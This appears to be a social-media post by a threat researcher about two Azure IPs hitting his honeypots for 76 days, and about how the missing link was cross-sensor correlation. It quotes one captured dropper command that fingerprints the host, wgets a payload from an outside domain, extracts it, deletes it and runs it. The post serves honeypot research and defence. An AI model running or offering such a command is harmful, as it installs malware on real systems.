76 days. 896 hits.....wth?! I know a lot of my posts start like this.. but, this really is when I find…
PETER D. — Cybersecurity / Threat Researcher / Breaker of All Things / Discovered a 563-Node Global Botnet
76 days. 896 hits.....wth?!
I know a lot of my posts start like this.. but, this really is when I find things :P
I'm constantly thinking that I may have missed something, or it fell through the cracks, or something silently failed, which has me review the logs, data every so often. Or, look for any optimization, or things I didn't wire in yet. Which I also think is important on anything you build, production or not. Especially when you want to make sure that you want to make sure it makes sense, factual, or leaning towards where the evidence points to.
Then I tripped over something.
Two IP addresses. Both Microsoft Azure. One in the Netherlands, one in Sweden. They first showed up on March 3rd. They were still active on May 18th. 76 days. 896 connection attempts across two separate honeypot nodes — a Telnet DVR emulator and an SSH honeypot.
Same operator. Two IPs working in tandem. Started the same day. Stopped the same day.
I pulled the raw session logs. On May 8th, one of them got through the SSH honeypot. Here's the exact command that ran:
uname -a; lscpu; wget femboy.roboy.me/opt.tgz; tar zxpvf opt.tgz; rm -rf opt.tgz; cd .opt; ./libs; w
Fingerprint the system. Check the CPU architecture. Download a payload. Extract it. Delete the evidence. Execute. Check who else is logged in.
Classic dropper sequence. The domain is dead now — burned after use, NXDOMAIN. The payload is gone. The operator is gone.
No HASSH fingerprint. Sessions closed too fast for key exchange to complete. No shared infrastructure with any known actor. Clean entry, clean exit.
Then I checked a second data source.
A completely separate passive network sensor — no rules, no signatures, no alerts, just Zeek quietly watching flows — had independently observed the same two IPs hitting the same infrastructure during the same window. Different sensor. Different telemetry pipeline. Neither one knew about the other.
I only connected them manually. After the fact. By accident.
Two independent sensors. Same actor. Same 76-day window. Zero alerts fired on either one.
Here's what I keep coming back to.
This wasn't a sophisticated nation-state operation. This was someone methodically working a target list for over two months using cloud infrastructure that most security tools implicitly trust. Microsoft Azure IPs don't raise eyebrows. They're everywhere. They're "legitimate."
They ran the same Telnet probes for two months. Then one day they escalated to SSH. Got in. Dropped their payload. Cleaned up. Left.
The tools didn't fail. Both sensors logged everything faithfully. The gap wasn't detection — it was correlation. The data was there the whole time. It just wasn't connected.
That's the part that should make you uncomfortable. Not that attackers are getting smarter. It's that the evidence is already sitting in your logs, waiting for someone to look.
76 days. 896 hits. Two sensors. One payload. Zero alerts.
And I only found it because I was checking something else entirely.
5 reactions · 0 comments